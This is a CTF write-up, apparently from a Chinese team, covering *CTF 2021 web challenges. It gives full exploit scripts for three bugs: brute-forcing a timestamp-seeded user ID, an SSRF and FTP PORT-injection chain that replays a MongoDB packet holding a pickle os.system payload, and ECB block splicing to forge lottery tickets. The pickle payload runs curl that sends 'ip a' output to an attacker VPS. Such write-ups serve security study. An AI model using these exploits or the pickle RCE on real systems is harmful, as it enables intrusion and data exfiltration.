网站的功能有登录用户发表note、查看公开note和note_id,然后就无了。
评论的输入框都没发现XSS和SSTI漏洞。只能将目光转向用户,user_id通过时间戳生成,生成代码如下:
1
2
3
|
timestamp = round(time.time(), 4)
random.seed(timestamp)
user_id = get_random_id()
|
note_id生成需要借助user_id:
1
2
3
4
|
timestamp = round(time.time(), 4)
post_at = datetime.datetime.fromtimestamp(timestamp, tz=datetime.timezone.utc).strftime('%Y-%m-%d %H:%M UTC')
random.seed(user_id + post_at)
note_id = get_random_id()
|
此时seed的格式是user_id+2021-01-15 10:29 UTC
。
Trick:
- 默认admin的第一条note就是创建用户时发的,那么他的时间戳和第一条note是一致的,只要遍历六十秒就能获得时间戳的整数(1610677740.0)形式。
- 这里使用了
round(time.time(), 4)
使时间戳精确度到了四位小数,因此user_id的seed最高精度就是四位小数。
datetime.timezone.utc
时区设置会让显示时间提早8小时,爆破时应该加上。
爆破获得user_id后通过/my_notes
登录进admin用户获得flag。
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
# -*-coding-*-: utf-8
import time
import random
import string
import datetime
post_at = "2021-01-15 02:29 UTC"
def get_random_id():
alphabet = list(string.ascii_lowercase + string.digits)
return ''.join([random.choice(alphabet) for _ in range(32)])
users = [i / 10000 for i in range(0, 10000)]
for second in range(0, 60):
dt = "2021-01-15 10:29:{} UTC".format(second) # datetime.timezone.utc有时差
timeArray = time.strptime(dt, "%Y-%m-%d %H:%M:%S UTC") # 转换成时间数组
timestamp = time.mktime(timeArray) # 转换成时间戳
for user in users:
# 获得user_id
seed = timestamp + user
random.seed(seed)
user_id = get_random_id()
# 获得note_id
random.seed(user_id + post_at)
if get_random_id() == "lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u":
print(user_id) # 7bdeij4oiafjdypqyrl2znwk7w9lulgn
exit()
|
[hint] Maybe you can try /readflag in web server, and no use to attack redis server.
Be careful that remote python version is 3.6.0
目录穿越读取/etc/passwd
(一定要在注册时就抓包修改,否则读不到 or 写脚本post),读到
1
|
app:x:100:101:Linux User,,,:/home/app:/bin/false
|
知道目录,接着就可以读源码了,源码中使用了ftp协议接收内网文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
def ftp_login(self):
ftp = FTP()
ftp.connect("172.20.0.2", 8877)
ftp.login("fan", "root")
return ftp
def callback(self,*args, **kwargs):
data = json.loads(args[0].decode())
self.data = data
def get_config(self):
f = self.ftp_login()
f.cwd("files")
buf_size = 1024
f.retrbinary('RETR {}'.format('config.json'), self.callback, buf_size)
|
通过ftp://fan:root@172.20.0.2:8877/
列举文件,然后ftp://fan:root@172.20.0.2:8877/files/config.json
读取config.json和ftp-server.py
config.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
{
"secret_key":"f4545478ee86$%^&&%$#",
"DEBUG": false,
"SESSION_TYPE": "mongodb",
"REMOTE_MONGO_IP": "172.20.0.5",
"REMOTE_MONGO_PORT": 27017,
"SESSION_MONGODB_DB": "admin",
"SESSION_MONGODB_COLLECT": "sessions",
"SESSION_PERMANENT": true,
"SESSION_USE_SIGNER": false,
"SESSION_KEY_PREFIX": "session:",
"SQLALCHEMY_DATABASE_URI": "mysql+pymysql://root:starctf123456@172.20.0.3:3306/ctf?charset=utf8",
"SQLALCHEMY_TRACK_MODIFICATIONS": true,
"REDIS_URL": "redis://@172.20.0.4:6379/0"
}
|
题目提示不需要打redis,mongodb存session,mysql不知道干啥,思路就清晰了:修改session数据。
查看一下flask_session中对mongodb存储session使用pickle
序列化数据,所以接下来就是如何插入pickle数据的问题。
FTP主动模式:
客户端从一个任意的非特权端口N(N>1024)连接到FTP服务器的21端口。然后客户端开始监听N+1,并发送FTP命令“port N+1”到FTP服务器。接着服务器会从它自己的数据端口(20)连接到客户端指定的数据端口(N+1)。
也就是说,服务端会主动连接客户端发送的数据端口。众所周知,ftp不仅可以用于文件下载,还可以用于文件上传,当服务端访问了指定的数据端口时我们就能通过ftp上传恶意文件(mongodb数据包)。
那么如何构造呢?
Frank师傅给了四种方法:
- 分析mongodb数据包,并手动构造
- 查文档,手动构造
- 抓包重放(出题人)
- 他的办法 -- 改pymongo源码
作为复现人,当然要选择最简单的方法(脚本搬运工)ε=ε=ε=
修改site-packages/pymongo/network.py:142
,在sendall之前丢个异常
1
2
3
4
5
6
7
8
|
'''添加内容
if b"session:" in msg:
e = Exception()
e.message = msg
raise e
'''
try:
...
|
本地起个mongodb,跑一下下面的脚本获得数据包:
mongo.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
# -*-author-*-: frankli
from pymongo import MongoClient
import pickle
import os
def get_pickle(cmd):
class exp(object):
def __reduce__(self):
return (os.system, (cmd,))
return pickle.dumps(exp())
def get_mongo(cmd):
client = MongoClient('localhost', 27017)
coll = client.admin.sessions
try:
coll.update_one(
{'id':'session:37386ce1-3fe8-4f1d-91fc-224581c5279f'},
{"$set": { "val": get_pickle(cmd) }},
upsert=True
)
except Exception as e:
return e.message
if __name__ == '__main__':
print(get_mongo('ls'))
|
终极版exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
|
# -*-author-*-: frankli
from base64 import b64decode
import requests
import socket
import string
import random
import threading
def get_random_id():
alphabet = list(string.ascii_lowercase + string.digits)
return ''.join([random.choice(alphabet) for _ in range(32)])
def get_port_cmd(host):
host, port = host.split(':')
port = int(port)
return 'PORT ' + ','.join(host.split('.') + [str(port // 256), str(port - port // 256 * 256)])
a = 'http://52.163.52.206:8088'
a = 'http://23.98.68.11:8088'
ftpd = '172.20.0.2:8877'
redis = '172.20.0.4:6379'
mongo = '172.20.0.5:27017'
bind = 'vps_ip:2334'
targ = mongo
from mongo import get_mongo
request = get_mongo('curl vps_ip:1234/ -H "Host: `ip a|base64`"')
def ssrf(url):
page = requests.post(a + '/login', data={
'username': get_random_id(),
'password': get_random_id(),
'avatar': url,
'submit': 'Go!'
}).text
page = page[page.find('data:image/png;base64,') +
len('data:image/png;base64,'):]
page = page[:page.find('"')]
try:
page = b64decode(page).decode()
except:
page = b64decode(page)
return page
def inject(cmd):
cmd = '\r\n'.join(cmd)
return ssrf(f'''ftp://fan:root{cmd}@{ftpd}/''')
def sendfile(file):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('0.0.0.0', int(bind.split(':')[1])))
sock.listen(1)
(client, address) = sock.accept()
print('accepted', address)
client.send(file)
print('sent')
client.close()
thread = threading.Thread(target=sendfile, args=(request,))
thread.start()
print(ssrf(f'ftp://fan:root@{ftpd}/'))
inject(['TYPE I', get_port_cmd(bind), 'STOR frankli'])
thread.join()
print('uploaded')
print(ssrf(f'ftp://fan:root@{ftpd}/'))
print('replaying')
inject(['TYPE I', get_port_cmd(targ), 'RETR frankli'])
print('replayed')
print(requests.get(a, cookies={'session': '1eb74496-98b9-4acc-94fb-75ba15ddb803'}).headers)
print('requested')
inject(['RNFR frankli', 'RNTO trash'])
print(ssrf(f'ftp://fan:root@{ftpd}/'))
|
注册登录,有抽奖和买flag两个功能。
看源码,处理抽奖部分的代码(LotteryController.php):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
class LotteryController extends BaseController
{
protected $price = 100;
public function buy(Request $request)
{
...
$lottery = Lottery::create(['coin' => 100 - floor(sqrt(random_int(1, 10000)))]);
$serilized = json_encode([
'lottery' => $lottery->uuid,
'user' => $user->uuid,
'coin' => $lottery->coin,
]);
$enc = base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, env('LOTTERY_KEY'), $serilized, MCRYPT_MODE_ECB));
return [
'enc' => $enc,
// 'serialized' => $serilized,
];
}
public function charge(Request $request)
{
$info = $this->decrypt($request->input('enc'));
...
$cnt = Lottery::where('id', $lottery->id)->where('used', false)
->update(['used' => 1]);
if ($cnt === 0) {
throw new Exception('unknown error');
}
$user->coin += $lottery->coin;
$user->save();
return [
// 'user' => $user,
// 'lottery' => $lottery,
];
}
private function decrypt($enc)
{
$serilized = trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, env('LOTTERY_KEY'), base64_decode($enc), MCRYPT_MODE_ECB));
$info = json_decode($serilized);
if (empty($info)) {
throw new Exception('invalid lottery');
}
return $info;
}
}
|
可以看到抽奖人信息被保存在$serilized
变量中,然后加密,加密方法是MCRYPT_RIJNDAEL_256加密,是以256位为一个块,即32字节。
加密流程(例):
{"lottery":"48e51545-cfd3-4d2e-8ea4-851c945b5faf","user":"0123ff93-c230-49b9-b078-5d205247c5a8","coin":81}
按照32字节的分组后结构如下
{"lottery":"48e51545-cfd3-4d2e-8
ea4-851c945b5faf","user":"0123ff
93-c230-49b9-b078-5d205247c5a8",
"coin":81}AAAAAAAAAAAAAAAAAAAAAA(不足位填充)
然后每块进行独立的加密,最后组合成密文。
可以看到,不管替换哪一块都不能完整的修改字段,但若要完整的插入一段user且不破坏原lottery,只能保留原1,2,4块(1,2块也行),然后插入主user的2,3块(2,3,4块)。
插入问题解决了,但是为什么插入之后就能实现攻击了呢?
这就涉及到json_encode函数的特性:键相同时后面的值会覆盖前面值。
例:
1
2
3
4
5
6
|
<?php
$serilized = json_encode([
'user' => "22",
'user' => "33",
]);
echo $serilized; // {"user":"33"}
|
攻击原理清楚了,剩下的就是脚本实现(搬运)了。
exp(出现断连就把api_token拿出来继续用)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
# -*-author-*-: frankli
from requests import session
from base64 import b64encode, b64decode
import string
import random
ses = session()
def get_random_id():
alphabet = list(string.ascii_lowercase + string.digits)
return ''.join([random.choice(alphabet) for _ in range(32)])
def get_user():
usernm, passwd = get_random_id(), get_random_id()
ses.post('http://52.149.144.45:8080/user/register', data={
'username': usernm, 'password': passwd,
}).json()['user']
user = ses.post('http://52.149.144.45:8080/user/login', data={
'username': usernm, 'password': passwd,
}).json()['user']
return user
flag_user = get_user()
print(flag_user)
price = ses.post('http://52.149.144.45:8080/lottery/buy', data={
'api_token': flag_user['api_token']
}).json()['enc']
amount = 0
while amount < 9999:
fake_user = get_user()
for _ in range(3):
sheep = ses.post('http://52.149.144.45:8080/lottery/buy', data={
'api_token': fake_user['api_token']
}).json()['enc']
treasure = b64decode(sheep)[:64] + \
b64decode(price)[32:96] + \
b64decode(sheep)[96:]
treasure = b64encode(treasure).decode()
coin = ses.post('http://52.149.144.45:8080/lottery/info', data={
'enc': treasure
}).json()['info']['coin']
amount += coin
ses.post('http://52.149.144.45:8080/lottery/charge', data={
'user': flag_user['uuid'],
'coin': coin,
'enc': treasure
})
print(amount)
result = ses.post('http://52.149.144.45:8080/flag', data={
'api_token': flag_user['api_token']
}).text
print(result)
|
Servers reboot every 2 minutes. All source codes and Docker files provided in the attachment. Try to solve it locally before interacting with the servers.
反正有源码,什么时候复现都行。
天大地大,划水最大(逃
*CTF 2021 Web部分 Writeup
*CTF 2021 WriteUp By 星盟ctf战队